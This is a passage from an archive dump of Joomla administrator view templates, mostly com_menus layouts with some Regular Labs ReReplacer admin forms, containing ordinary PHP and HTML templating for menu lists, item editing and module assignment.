 * @copyright   (C) 2006 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Factory;
use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Layout\LayoutHelper;
use Joomla\CMS\Router\Route;
use Joomla\CMS\Uri\Uri;

/** @var \Joomla\CMS\WebAsset\WebAssetManager $wa */
$wa = $this->document->getWebAssetManager();
$wa->useScript('table.columns')
    ->useScript('multiselect')
    ->useScript('com_menus.admin-menus');

$uri       = Uri::getInstance();
$return    = base64_encode($uri);
$user      = Factory::getUser();
$listOrder = $this->escape($this->state->get('list.ordering'));
$listDirn  = $this->escape($this->state->get('list.direction'));
$modMenuId = (int) $this->get('ModMenuId');
$itemIds   = [];

foreach ($this->items as $item) {
    if ($user->authorise('core.edit', 'com_menus')) {
        $itemIds[] = $item->id;
    }
}

$this->document->addScriptOptions('menus-default', ['items' => $itemIds]);
?>
<form action="<?php echo Route::_('index.php?option=com_menus&view=menus'); ?>" method="post" name="adminForm" id="adminForm">
    <div class="row">
        <div class="col-md-12">
            <div id="j-main-container" class="j-main-container">
                <?php echo LayoutHelper::render('joomla.searchtools.default', ['view' => $this, 'options' => ['filterButton' => false]]); ?>
                <?php if (empty($this->items)) : ?>
                    <div class="alert alert-info">
                        <span class="icon-info-circle" aria-hidden="true"></span><span class="visually-hidden"><?php echo Text::_('INFO'); ?></span>
                        <?php echo Text::_('JGLOBAL_NO_MATCHING_RESULTS'); ?>
                    </div>
                <?php else : ?>
                    <table class="table" id="menuList">
                        <caption class="visually-hidden">
                            <?php echo Text::_('COM_MENUS_MENUS_TABLE_CAPTION'); ?>,
                            <span id="orderedBy"><?php echo Text::_('JGLOBAL_SORTED_BY'); ?> </span>,
                            <span id="filteredBy"><?php echo Text::_('JGLOBAL_FILTERED_BY'); ?></span>
                        </caption>
                        <thead>
                            <tr>
                                <td class="w-1 text-center">
                                    <?php echo HTMLHelper::_('grid.checkall'); ?>
                                </td>
                                <th scope="col">
                                    <?php echo HTMLHelper::_('searchtools.sort', 'JGLOBAL_TITLE', 'a.title', $listDirn, $listOrder); ?>
                                </th>
                                <th scope="col" class="w-5 text-center">
                                    <?php echo Text::_('COM_MENUS_MENUS'); ?>
                                </th>
                                <th scope="col" class="w-10 text-center  d-none d-md-table-cell">
                                    <span class="icon-check" aria-hidden="true"></span>
                                    <span class="d-none d-md-inline"><?php echo Text::_('COM_MENUS_HEADING_PUBLISHED_ITEMS'); ?></span>
                                </th>
                                <th scope="col" class="w-10 text-center d-none d-md-table-cell">
                                    <span class="icon-times" aria-hidden="true"></span>
                                    <span class="d-none d-md-inline"><?php echo Text::_('COM_MENUS_HEADING_UNPUBLISHED_ITEMS'); ?></span>
                                </th>
                                <th scope="col" class="w-10 text-center d-none d-md-table-cell">
                                    <span class="icon-trash" aria-hidden="true"></span>
                                    <span class="d-none d-md-inline"><?php echo Text::_('COM_MENUS_HEADING_TRASHED_ITEMS'); ?></span>
                                </th>
                                <th scope="col" class="w-10 text-center d-none d-lg-table-cell">
                                    <span class="icon-cube" aria-hidden="true"></span>
                                    <span class="d-none d-md-inline"><?php echo Text::_('COM_MENUS_HEADING_LINKED_MODULES'); ?></span>
                                </th>
                                <th scope="col" class="w-5 d-none d-lg-table-cell text-center">
                                    <?php echo HTMLHelper::_('searchtools.sort', 'JGRID_HEADING_ID', 'a.id', $listDirn, $listOrder); ?>
                                </th>
                            </tr>
                        </thead>
                        <tbody>
                        <?php foreach ($this->items as $i => $item) :
                            $canEdit        = $user->authorise('core.edit', 'com_menus.menu.' . (int) $item->id);
                            $canManageItems = $user->authorise('core.manage', 'com_menus.menu.' . (int) $item->id);
                            ?>
                            <tr class="row<?php echo $i % 2; ?>">
                                <td class="text-center">
                                    <?php echo HTMLHelper::_('grid.id', $i, $item->id, false, 'cid', 'cb', $item->title); ?>
                                </td>
                                <th scope="row">
                                    <div class="name break-word">
                                        <?php if ($canEdit) : ?>
                                            <a href="<?php echo Route::_('index.php?option=com_menus&task=menu.edit&id=' . $item->id); ?>">
                                                <span class="visually-hidden"><?php echo Text::_('COM_MENUS_EDIT_MENU'); ?></span><?php echo $this->escape($item->title); ?>
                                            </a>
                                        <?php else : ?>
                                            <?php echo $this->escape($item->title); ?>
                                        <?php endif; ?>
                                        <?php if (!empty($item->description)) : ?>
                                            <div class="small">
                                                (<?php echo $this->escape($item->description); ?>)
                                            </div>
                                        <?php endif; ?>
                                    </div>
                                </th>
                                <td class="text-center btns">
                                    <?php if ($canManageItems) : ?>
                                        <a href="<?php echo Route::_('index.php?option=com_menus&view=items&menutype=' . $item->menutype); ?>">
                                            <span class="icon-list" aria-hidden="true"></span><span class="visually-hidden"><?php echo Text::_('COM_MENUS_MENUS'); ?></span>
                                        </a>
                                    <?php endif; ?>
                                </td>
                                <td class="text-center btns d-none d-md-table-cell itemnumber">
                                    <?php if ($canManageItems) : ?>
                                        <a class="btn<?php echo ($item->count_published > 0) ? ' btn-success' : ' btn-secondary'; ?>"
                                            href="<?php echo Route::_('index.php?option=com_menus&view=items&menutype=' . $item->menutype . '&filter[published]=1'); ?>"
                                            aria-describedby="tip-publish<?php echo $i; ?>">
                                            <?php echo $item->count_published; ?>
                                        </a>
                                    <?php else : ?>
                                        <span class="btn<?php echo ($item->count_published > 0) ? ' btn-success' : ' btn-secondary'; ?>" tabindex="0"
                                            aria-describedby="tip-publish<?php echo $i; ?>">
                                            <?php echo $item->count_published; ?>
                                        </span>
                                    <?php endif; ?>
                                    <div role="tooltip" id="tip-publish<?php echo $i; ?>">
                                        <?php echo Text::_('COM_MENUS_COUNT_PUBLISHED_ITEMS'); ?>
                                    </div>
                                </td>
                                <td class="text-center btns d-none d-md-table-cell itemnumber">
                                    <?php if ($canManageItems) : ?>
                                        <a class="btn<?php echo ($item->count_unpublished > 0) ? ' btn-danger' : ' btn-secondary'; ?>"
                                            href="<?php echo Route::_('index.php?option=com_menus&view=items&menutype=' . $item->menutype . '&filter[published]=0'); ?>"
                                            aria-describedby="tip-unpublish<?php echo $i; ?>">
                                            <?php echo $item->count_unpublished; ?>
                                        </a>
                                    <?php else : ?>
                                        <span class="btn<?php echo ($item->count_unpublished > 0) ? ' btn-danger' : ' btn-secondary'; ?>" tabindex="0"
                                            aria-describedby="tip-unpublish<?php echo $i; ?>">
                                            <?php echo $item->count_unpublished; ?>
                                        </span>
                                    <?php endif; ?>
                                    <div role="tooltip" id="tip-unpublish<?php echo $i; ?>">
                                        <?php echo Text::_('COM_MENUS_COUNT_UNPUBLISHED_ITEMS'); ?>
                                    </div>
                                </td>
                                <td class="text-center btns d-none d-md-table-cell itemnumber">
                                    <?php if ($canManageItems) : ?>
                                        <a class="btn<?php echo ($item->count_trashed > 0) ? ' btn-danger' : ' btn-secondary'; ?>"
                                            href="<?php echo Route::_('index.php?option=com_menus&view=items&menutype=' . $item->menutype . '&filter[published]=-2'); ?>"
                                            aria-describedby="tip-trash<?php echo $i; ?>">
                                            <?php echo $item->count_trashed; ?>
                                        </a>
                                    <?php else : ?>
                                        <span class="btn<?php echo ($item->count_trashed > 0) ? ' btn-danger' : ' btn-secondary'; ?>" tabindex="0"
                                            aria-describedby="tip-trash<?php echo $i; ?>">
                                            <?php echo $item->count_trashed; ?>
                                        </span>
                                    <?php endif; ?>
                                    <div role="tooltip" id="tip-trash<?php echo $i; ?>">
                                        <?php echo Text::_('COM_MENUS_COUNT_TRASHED_ITEMS'); ?>
                                    </div>
                                </td>
                                <td class="text-center d-none d-lg-table-cell itemnumber">
                                    <?php if (isset($this->modules[$item->menutype])) : ?>
                                        <div class="dropdown">
                                            <button type="button" class="btn btn-secondary btn-sm dropdown-toggle" data-bs-toggle="dropdown">
                                                <?php echo Text::_('COM_MENUS_MODULES'); ?>
                                                <span class="caret"></span>
                                            </button>
                                            <div class="dropdown-menu dropdown-menu-end">
                                                <?php foreach ($this->modules[$item->menutype] as &$module) : ?>
                                                    <?php if ($user->authorise('core.edit', 'com_modules.module.' . (int) $module->id)) : ?>
                                                        <?php $link = Route::_('index.php?option=com_modules&task=module.edit&id=' . $module->id . '&return=' . $return . '&tmpl=component&layout=modal'); ?>
                                                        <button type="button" class="dropdown-item" data-bs-target="#moduleEdit<?php echo $module->id; ?>Modal" data-bs-toggle="modal" title="<?php echo Text::_('COM_MENUS_EDIT_MODULE_SETTINGS'); ?>">
                                                            <?php echo Text::sprintf('COM_MENUS_MODULE_ACCESS_POSITION', $this->escape($module->title), $this->escape($module->access_title), $this->escape($module->position)); ?></button>
                                                    <?php else : ?>
                                                        <span class="dropdown-item"><?php echo Text::sprintf('COM_MENUS_MODULE_ACCESS_POSITION', $this->escape($module->title), $this->escape($module->access_title), $this->escape($module->position)); ?></span>
                                                    <?php endif; ?>
                                                <?php endforeach; ?>
                                            </div>
                                         </div>
                                        <?php foreach ($this->modules[$item->menutype] as &$module) : ?>
                                            <?php if ($user->authorise('core.edit', 'com_modules.module.' . (int) $module->id)) : ?>
                                                <?php $link = Route::_('index.php?option=com_modules&task=module.edit&id=' . $module->id . '&return=' . $return . '&tmpl=component&layout=modal'); ?>
                                                <?php echo HTMLHelper::_(
                                                    'bootstrap.renderModal',
                                                    'moduleEdit' . $module->id . 'Modal',
                                                    [
                                                            'title'       => Text::_('COM_MENUS_EDIT_MODULE_SETTINGS'),
                                                            'backdrop'    => 'static',
                                                            'keyboard'    => false,
                                                            'closeButton' => false,
                                                            'url'         => $link,
                                                            'height'      => '400px',
                                                            'width'       => '800px',
                                                            'bodyHeight'  => 70,
                                                            'modalWidth'  => 80,
                                                            'footer'      => '<button type="button" class="btn btn-danger" data-bs-dismiss="modal"'
                                                                    . ' onclick="Joomla.iframeButtonClick({iframeSelector: \'#moduleEdit' . $module->id . 'Modal\', buttonSelector: \'#closeBtn\'})">'
                                                                    . Text::_('JLIB_HTML_BEHAVIOR_CLOSE') . '</button>'
                                                                    . '<button type="button" class="btn btn-success"'
                                                                    . ' onclick="Joomla.iframeButtonClick({iframeSelector: \'#moduleEdit' . $module->id . 'Modal\', buttonSelector: \'#saveBtn\'})">'
                                                                    . Text::_('JSAVE') . '</button>'
                                                                    . '<button type="button" class="btn btn-success"'
                                                                    . ' onclick="Joomla.iframeButtonClick({iframeSelector: \'#moduleEdit' . $module->id . 'Modal\', buttonSelector: \'#applyBtn\'})">'
                                                                    . Text::_('JAPPLY') . '</button>',
                                                        ]
                                                ); ?>
                                            <?php endif; ?>
                                        <?php endforeach; ?>
                                    <?php elseif ($modMenuId) : ?>
                                        <?php $link = Route::_('index.php?option=com_modules&task=module.add&eid=' . $modMenuId . '&params[menutype]=' . $item->menutype . '&tmpl=component&layout=modal'); ?>
                                        <button type="button" class="btn btn-sm btn-primary" data-bs-toggle="modal" data-bs-target="#moduleAddModal"><?php echo Text::_('COM_MENUS_ADD_MENU_MODULE'); ?></button>
                                        <?php echo HTMLHelper::_(
                                            'bootstrap.renderModal',
                                            'moduleAddModal',
                                            [
                                                    'title'       => Text::_('COM_MENUS_ADD_MENU_MODULE'),
                                                    'backdrop'    => 'static',
                                                    'keyboard'    => false,
                                                    'closeButton' => false,
                                                    'url'         => $link,
                                                    'height'      => '400px',
                                                    'width'       => '800px',
                                                    'bodyHeight'  => 70,
                                                    'modalWidth'  => 80,
                                                    'footer'      => '<button type="button" class="btn btn-secondary" data-bs-dismiss="modal"'
                                                            . ' onclick="Joomla.iframeButtonClick({iframeSelector: \'#moduleAddModal\', buttonSelector: \'#closeBtn\'})">'
                                                            . Text::_('JLIB_HTML_BEHAVIOR_CLOSE') . '</button>'
                                                            . '<button type="button" class="btn btn-primary"'
                                                            . ' onclick="Joomla.iframeButtonClick({iframeSelector: \'#moduleAddModal\', buttonSelector: \'#saveBtn\'})">'
                                                            . Text::_('JSAVE') . '</button>'
                                                            . '<button type="button" class="btn btn-success"'
                                                            . ' onclick="Joomla.iframeButtonClick({iframeSelector: \'#moduleAddModal\', buttonSelector: \'#applyBtn\'})">'
                                                            . Text::_('JAPPLY') . '</button>',
                                                ]
                                        ); ?>
                                    <?php endif; ?>
                                </td>
                                <td class="d-none d-lg-table-cell">
                                    <?php echo $item->id; ?>
                                </td>
                            </tr>
                        <?php endforeach; ?>
                        </tbody>
                    </table>

                    <?php // load the pagination. ?>
                    <?php echo $this->pagination->getListFooter(); ?>

                <?php endif; ?>

                <input type="hidden" name="task" value="">
                <input type="hidden" name="boxchecked" value="0">
                <?php echo HTMLHelper::_('form.token'); ?>
            </div>
        </div>
    </div>
</form>
menutypes/default.php000064400000003767151731413030010745 0ustar00<?php

/**
 * @package     Joomla.Administrator
 * @subpackage  com_menus
 *
 * @copyright   (C) 2011 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Factory;
use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;

$input = Factory::getApplication()->getInput();

// Checking if loaded via index.php or component.php
$tmpl = ($input->getCmd('tmpl') != '') ? '1' : '';
$tmpl = json_encode($tmpl, JSON_NUMERIC_CHECK);

/** @var Joomla\CMS\WebAsset\WebAssetManager $wa */
$wa = $this->document->getWebAssetManager();
$wa->useScript('com_menus.admin-item-modal');

?>
<?php echo HTMLHelper::_('bootstrap.startAccordion', 'collapseTypes', ['active' => 'slide1']); ?>
    <?php $i = 0; ?>
    <?php foreach ($this->types as $name => $list) : ?>
        <?php echo HTMLHelper::_('bootstrap.addSlide', 'collapseTypes', $name, 'collapse' . ($i++)); ?>
            <div class="list-group">
                <?php foreach ($list as $title => $item) : ?>
                    <?php $menutype = ['id' => $this->recordId, 'title' => $item->type ?? $item->title, 'request' => $item->request]; ?>
                    <?php $menutype = base64_encode(json_encode($menutype)); ?>
                    <a class="choose_type list-group-item list-group-item-action" href="#"
                        onclick="Joomla.setMenuType('<?php echo $menutype; ?>', '<?php echo $tmpl; ?>')">
                        <div class="pe-2">
                            <?php echo $title; ?>
                        </div>
                        <small class="text-muted">
                            <?php echo Text::_($item->description); ?>
                        </small>
                    </a>
                <?php endforeach; ?>
            </div>
        <?php echo HTMLHelper::_('bootstrap.endSlide'); ?>
    <?php endforeach; ?>
<?php echo HTMLHelper::_('bootstrap.endSlide'); ?>
<?php echo HTMLHelper::_('bootstrap.endAccordion');
item/edit.xml000064400000000763151731413030007155 0ustar00<?xml version="1.0" encoding="UTF-8"?>
<metadata>
	<layout title="COM_MENUS_ITEM_VIEW_EDIT_TITLE">
		<message>
			<![CDATA[COM_MENUS_ITEM_VIEW_EDIT_DESC]]>
		</message>
	</layout>
	<fieldset name="request">
		<fields name="request">
			<field
				name="menutype"
				type="menu"
				label="COM_MENUS_ITEMS_CHOOSE_MENU_LABEL"
				description="COM_MENUS_ITEMS_CHOOSE_MENU_DESC"
				clientid=""
				>
				<option value="">COM_MENUS_SELECT_MENU</option>
			</field>
		</fields>
	</fieldset>
</metadata>
item/edit.php000060400000011410151731413030007127 0ustar00<?php
/**
 * @package         ReReplacer
 * @version         14.4.1
 * 
 * @author          Peter van Westen <info@regularlabs.com>
 * @link            https://regularlabs.com
 * @copyright       Copyright © 2025 Regular Labs All Rights Reserved
 * @license         GNU General Public License version 2 or later
 */

defined('_JEXEC') or die;

use Joomla\CMS\HTML\HTMLHelper as JHtml;
use Joomla\CMS\Language\Text as JText;
use Joomla\CMS\Layout\LayoutHelper as JLayout;
use Joomla\CMS\Router\Route as JRoute;
use RegularLabs\Library\Document as RL_Document;
use RegularLabs\Library\Form\Field\MiniColorField;
use RegularLabs\Library\Language as RL_Language;

RL_Document::useScript('keepalive');
RL_Document::useScript('form.validate');
RL_Document::script('regularlabs.admin-form');
RL_Document::script('regularlabs.admin-form-descriptions');
RL_Language::load('com_conditions');
?>

<form action="<?php echo JRoute::_('index.php?option=com_rereplacer&id=' . (int) $this->item->id); ?>" method="post" name="adminForm" id="item-form" aria-label="<?php echo JText::_('COM_REREPLACER_FORM_' . ((int) $this->item->id === 0 ? 'NEW' : 'EDIT'), true); ?>" class="form-validate">
    <?php echo JLayout::render('joomla.edit.title_alias', $this); ?>

    <fieldset class="mt-3">
        <?php echo JHtml::_('uitab.startTabSet', 'main', ['active' => 'details']); ?>

        <?php echo JHtml::_('uitab.addTab', 'main', 'details', JText::_('JDETAILS')); ?>
        <div class="row form-vertical">
            <div class="col-xl-6">
                <?php echo $this->form->renderFieldset('search'); ?>
                <?php echo $this->form->renderFieldset('replace'); ?>
                <?php echo $this->form->renderFieldset('xml'); ?>
            </div>
            <div class="col-lg-6 col-xl-3">
                <?php echo $this->form->renderFieldset('options'); ?>
            </div>
            <div class="col-lg-6 col-xl-3">
                <?php echo $this->form->renderFieldset('details'); ?>
                <?php if ($this->config->use_categories) : ?>
                    <?php echo $this->form->renderFieldset('category'); ?>
                <?php endif; ?>
                <?php if ($this->config->use_colors) : ?>
                    <div class="control-group">
                        <div class="control-label">
                            <label id="jform_extra_color-lbl" for="jform_extra_color" role="button" tabindex="0">
                                <?php echo JText::_('RL_COLOR'); ?>
                            </label>
                        </div>

                        <div class="controls">
                            <?php
                            $colorfield = new MiniColorField;

                            $color = $this->item->color ?? '';

                            $element = new SimpleXMLElement(
                                '<field
                                                name="jform[color]"
                                                type="MiniColor"
                                                default=""
                                                colors="' . ($this->config->main_colors ?? '') . '"
                                                table="rereplacer"
                                                item_id="' . $this->item->id . '"
                                                />'
                            );

                            $element->value = $color;

                            $colorfield->setup($element, $color);

                            echo $colorfield->__get('input');
                            ?>
                        </div>
                    </div>
                <?php endif; ?>
            </div>
        </div>
        <?php echo JHtml::_('uitab.endTab'); ?>

        <?php echo JHtml::_('uitab.addTab', 'main', 'areas', JText::_('RR_SEARCH_AREAS')); ?>
        <div class="row form-vertical">
            <div class="col-lg-6">
                <?php echo $this->form->renderFieldset('areas_1'); ?>
            </div>
            <div class="col-lg-6">
                <?php echo $this->form->renderFieldset('areas_2'); ?>
            </div>
        </div>
        <?php echo JHtml::_('uitab.endTab'); ?>

        <?php echo JHtml::_('uitab.addTab', 'main', 'conditions', JText::_('RL_CONDITIONS')); ?>
        <div class="row form-vertical">
            <div class="col-lg-6">
                <?php echo $this->form->renderFieldset('conditions'); ?>
            </div>
            <div class="col-lg-6">
                <?php echo $this->form->renderFieldset('other_replace'); ?>
            </div>
        </div>
        <?php echo JHtml::_('uitab.endTab'); ?>

        <?php echo JHtml::_('uitab.endTabSet'); ?>

        <input type="hidden" name="task" value="">
        <?php echo JHtml::_('form.token'); ?>
    </fieldset>
</form>
item/edit_container.php000064400000012212151731413030011176 0ustar00<?php

/**
 * @package     Joomla.Administrator
 * @subpackage  com_menus
 *
 * @copyright   (C) 2017 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Language\Text;
use Joomla\Component\Menus\Administrator\Helper\MenusHelper;
use Joomla\Registry\Registry;

// Initialise related data.
$menuLinks = MenusHelper::getMenuLinks('main');

/** @var Joomla\CMS\WebAsset\WebAssetManager $wa */
$wa = $this->document->getWebAssetManager();
$wa->useScript('joomla.treeselectmenu')
    ->useStyle('com_menus.admin-item-edit-container')
    ->useScript('com_menus.admin-item-edit-container');

?>
<div id="menuselect-group" class="control-group">
    <div class="control-label"><?php echo $this->form->getLabel('hideitems', 'params'); ?></div>

    <div id="jform_params_hideitems" class="controls">
        <?php if (!empty($menuLinks)) : ?>
            <?php $id = 'jform_params_hideitems'; ?>

        <div class="form-inline">
            <span class="small me-2"><?php echo Text::_('COM_MENUS_ACTION_EXPAND'); ?>:
                <a id="treeExpandAll" href="javascript://"><?php echo Text::_('JALL'); ?></a>,
                <a id="treeCollapseAll" href="javascript://"><?php echo Text::_('JNONE'); ?></a> |
                <?php echo Text::_('JSHOW'); ?>:
                <a id="treeUncheckAll" href="javascript://"><?php echo Text::_('JALL'); ?></a>,
                <a id="treeCheckAll" href="javascript://"><?php echo Text::_('JNONE'); ?></a>
            </span>
            <input type="text" id="treeselectfilter" name="treeselectfilter" class="form-control search-query"
                autocomplete="off" placeholder="<?php echo Text::_('JSEARCH_FILTER'); ?>"
                aria-invalid="false" aria-label="<?php echo Text::_('JSEARCH_FILTER'); ?>">
        </div>

        <hr>
        <div class="alert alert-info">
            <span class="icon-info-circle" aria-hidden="true"></span><span class="visually-hidden"><?php echo Text::_('INFO'); ?></span>
            <?php echo Text::_('COM_MENUS_ITEM_FIELD_COMPONENTS_CONTAINER_HIDE_ITEMS_DESC'); ?>
        </div>
            <?php if (count($menuLinks)) : ?>
                <ul class="treeselect">
                    <?php $prevlevel = 0; ?>
                    <li>
                    <?php
                    $params      = new Registry($this->item->params);
                    $hiddenLinks = (array) $params->get('hideitems');

                    foreach ($menuLinks as $i => $link) : ?>
                        <?php
                        if ($extension = $link->element) :
                            $lang->load("$extension.sys", JPATH_ADMINISTRATOR)
                            || $lang->load("$extension.sys", JPATH_ADMINISTRATOR . '/components/' . $extension);
                        endif;

                        if ($prevlevel < $link->level) {
                            echo '<ul class="treeselect-sub">';
                        } elseif ($prevlevel > $link->level) {
                            echo str_repeat('</li></ul>', $prevlevel - $link->level);
                        } else {
                            echo '</li>';
                        }

                        $selected = in_array($link->value, $hiddenLinks) ? 1 : 0;
                        ?>
                            <li>
                                <div class="treeselect-item">
                                    <input type="checkbox" <?php echo $link->value > 1 ? ' name="jform[params][hideitems][]" ' : ''; ?>
                                        id="<?php echo $id . $link->value; ?>" value="<?php echo (int) $link->value; ?>" class="novalidate checkbox-toggle"
                                        <?php echo $selected ? ' checked="checked"' : ''; ?>>

                                    <?php if ($link->value == 1) : ?>
                                        <label for="<?php echo $id . $link->value; ?>" class="btn btn-sm btn-info"><?php echo Text::_('JALL') ?></label>
                                    <?php else : ?>
                                        <label for="<?php echo $id . $link->value; ?>" class="btn btn-sm btn-danger btn-hide"><?php echo Text::_('JHIDE') ?></label>
                                        <label for="<?php echo $id . $link->value; ?>" class="btn btn-sm btn-success btn-show"><?php echo Text::_('JSHOW') ?></label>
                                        <label for="<?php echo $id . $link->value; ?>"><?php echo Text::_($link->text); ?></label>
                                    <?php endif; ?>
                                </div>
                        <?php

                        if (!isset($menuLinks[$i + 1])) {
                            echo str_repeat('</li></ul>', $link->level);
                        }
                        $prevlevel = $link->level;
                        ?>
                    <?php endforeach; ?>
                    </li>
                </ul>
            <?php endif; ?>
        <joomla-alert id="noresultsfound" type="warning" style="display:none"><?php echo Text::_('JGLOBAL_NO_MATCHING_RESULTS'); ?></joomla-alert>
        <?php endif; ?>
    </div>
</div>
item/edit_modules.php000064400000013126151731413030010671 0ustar00<?php

/**
 * @package     Joomla.Administrator
 * @subpackage  com_menus
 *
 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Layout\LayoutHelper;

foreach ($this->levels as $key => $value) {
    $allLevels[$value->id] = $value->title;
}

$this->document->addScriptOptions('menus-edit-modules', ['viewLevels' => $allLevels, 'itemId' => $this->item->id]);

/** @var Joomla\CMS\WebAsset\WebAssetManager $wa */
$wa = $this->document->getWebAssetManager();
$wa->useScript('com_menus.admin-item-edit-modules');

// Set up the bootstrap modal that will be used for all module editors
echo HTMLHelper::_(
    'bootstrap.renderModal',
    'moduleEditModal',
    [
        'title'       => Text::_('COM_MENUS_EDIT_MODULE_SETTINGS'),
        'backdrop'    => 'static',
        'keyboard'    => false,
        'closeButton' => false,
        'bodyHeight'  => '70',
        'modalWidth'  => '80',
        'footer'      => '<button type="button" class="btn btn-secondary" data-bs-dismiss="modal" data-bs-target="#closeBtn">'
                . Text::_('JLIB_HTML_BEHAVIOR_CLOSE') . '</button>'
                . '<button type="button" class="btn btn-primary" data-bs-dismiss="modal" data-bs-target="#saveBtn">'
                . Text::_('JSAVE') . '</button>'
                . '<button type="button" class="btn btn-success" data-bs-target="#applyBtn">'
                . Text::_('JAPPLY') . '</button>',
    ]
);

?>
<?php
// Set main fields.
$this->fields = ['toggle_modules_assigned', 'toggle_modules_published'];

echo LayoutHelper::render('joomla.menu.edit_modules', $this); ?>

<table class="table" id="modules_assigned">
    <caption class="visually-hidden">
        <?php echo Text::_('COM_MENUS_MODULES_TABLE_CAPTION'); ?>
    </caption>
    <thead>
        <tr>
            <th scope="col" class="w-40">
                <?php echo Text::_('COM_MENUS_HEADING_ASSIGN_MODULE'); ?>
            </th>
            <th scope="col" class="w-15">
                <?php echo Text::_('COM_MENUS_HEADING_LEVELS'); ?>
            </th>
            <th scope="col" class="w-15">
                <?php echo Text::_('COM_MENUS_HEADING_POSITION'); ?>
            </th>
            <th scope="col">
                <?php echo Text::_('COM_MENUS_HEADING_DISPLAY'); ?>
            </th>
            <th scope="col">
                <?php echo Text::_('COM_MENUS_HEADING_PUBLISHED_ITEMS'); ?>
            </th>
        </tr>
    </thead>
    <tbody>
    <?php foreach ($this->modules as $i => &$module) : ?>
        <?php if (is_null($module->menuid)) : ?>
            <?php if (!$module->except || $module->menuid < 0) : ?>
                <?php $no = 'no '; ?>
            <?php else : ?>
                <?php $no = ''; ?>
            <?php endif; ?>
        <?php else : ?>
            <?php $no = ''; ?>
        <?php endif; ?>
        <?php if ($module->published) : ?>
            <?php $status = ''; ?>
        <?php else : ?>
            <?php $status = 'unpublished '; ?>
        <?php endif; ?>
        <tr id="tr-<?php echo $module->id; ?>" class="<?php echo $no; ?><?php echo $status; ?>row<?php echo $i % 2; ?>">
            <th scope="row">
                <button type="button"
                    data-bs-target="#moduleEditModal"
                    class="btn btn-link module-edit-link"
                    title="<?php echo Text::_('COM_MENUS_EDIT_MODULE_SETTINGS'); ?>"
                    id="title-<?php echo $module->id; ?>"
                    data-module-id="<?php echo $module->id; ?>">
                    <?php echo $this->escape($module->title); ?></button>
            </th>
            <td id="access-<?php echo $module->id; ?>">
                <?php echo $this->escape($module->access_title); ?>
            </td>
            <td id="position-<?php echo $module->id; ?>">
                <?php echo $this->escape($module->position); ?>
            </td>
            <td id="menus-<?php echo $module->id; ?>">
                <?php if (is_null($module->menuid)) : ?>
                    <?php if ($module->except) : ?>
                        <span class="badge bg-success">
                            <?php echo Text::_('JYES'); ?>
                        </span>
                    <?php else : ?>
                        <span class="badge bg-danger">
                            <?php echo Text::_('JNO'); ?>
                        </span>
                    <?php endif; ?>
                <?php elseif ($module->menuid > 0) : ?>
                    <span class="badge bg-success">
                        <?php echo Text::_('JYES'); ?>
                    </span>
                <?php elseif ($module->menuid < 0) : ?>
                    <span class="badge bg-danger">
                        <?php echo Text::_('JNO'); ?>
                    </span>
                <?php else : ?>
                    <span class="badge bg-info">
                        <?php echo Text::_('JALL'); ?>
                    </span>
                <?php endif; ?>
            </td>
            <td id="status-<?php echo $module->id; ?>">
                <?php if ($module->published) : ?>
                    <span class="badge bg-success">
                        <?php echo Text::_('JYES'); ?>
                    </span>
                <?php else : ?>
                    <span class="badge bg-danger">
                        <?php echo Text::_('JNO'); ?>
                    </span>
                <?php endif; ?>
            </td>
        </tr>
    <?php endforeach; ?>
    </tbody>
</table>
items/default.php000060400000042225151731413030010021 0ustar00<?php
/**
 * @package         ReReplacer
 * @version         14.4.1
 * 
 * @author          Peter van Westen <info@regularlabs.com>
 * @link            https://regularlabs.com
 * @copyright       Copyright © 2025 Regular Labs All Rights Reserved
 * @license         GNU General Public License version 2 or later
 */

defined('_JEXEC') or die;

use Joomla\CMS\Factory as JFactory;
use Joomla\CMS\HTML\HTMLHelper as JHtml;
use Joomla\CMS\Language\Text as JText;
use Joomla\CMS\Layout\LayoutHelper as JLayout;
use Joomla\CMS\Router\Route as JRoute;
use Joomla\CMS\Session\Session;
use RegularLabs\Library\Document as RL_Document;
use RegularLabs\Library\DownloadKey as RL_DownloadKey;
use RegularLabs\Library\Form\Field\MiniColorField;
use RegularLabs\Library\License as RL_License;
use RegularLabs\Library\StringHelper as RL_String;
use RegularLabs\Library\Version as RL_Version;

RL_Document::style('regularlabs.admin-form');

$listOrder = RL_String::escape($this->state->get('list.ordering'));
$listDirn  = RL_String::escape($this->state->get('list.direction'));
$ordering  = ($listOrder == 'a.ordering');

$user       = JFactory::getUser();
$canCreate  = $user->authorise('core.create', 'com_rereplacer');
$canEdit    = $user->authorise('core.edit', 'com_rereplacer');
$canChange  = $user->authorise('core.edit.state', 'com_rereplacer');
$canCheckin = $user->authorise('core.manage', 'com_checkin');
$saveOrder  = ($listOrder == 'a.ordering') && ! empty($this->items);

if ($saveOrder)
{
    $saveOrderingUrl = 'index.php?option=com_rereplacer&task=items.saveOrderAjax&tmpl=component&' . Session::getFormToken() . '=1';
    JHtml::_('draggablelist.draggable');
}

$showColors     = $this->config->use_colors;
$showCategories = ($this->hasCategories && $this->config->use_categories);

$cols = 10;
$cols += ($this->config->show_fields ? 2 : 0);
$cols += ($showColors ? 1 : 0);
$cols += ($showCategories ? 1 : 0);


if ($this->config->show_update_notification)
{
    // Version check
    echo RL_Version::getMessage('REREPLACER');
}
?>
    <form action="<?php echo JRoute::_('index.php?option=com_rereplacer&view=items'); ?>"
          method="post" name="adminForm" id="adminForm" enctype="multipart/form-data">
        <?php
        // Search tools bar
        echo JLayout::render('joomla.searchtools.default', ['view' => $this]);
        ?>
        <table class="table table-striped" id="itemList">
            <thead>
                <tr>
                    <td scope="col" class="w-1 text-center d-none d-md-table-cell">
                        <?php echo JHtml::_('grid.checkall'); ?>
                    </td>
                    <th scope="col" class="w-1 text-center d-none d-md-table-cell">
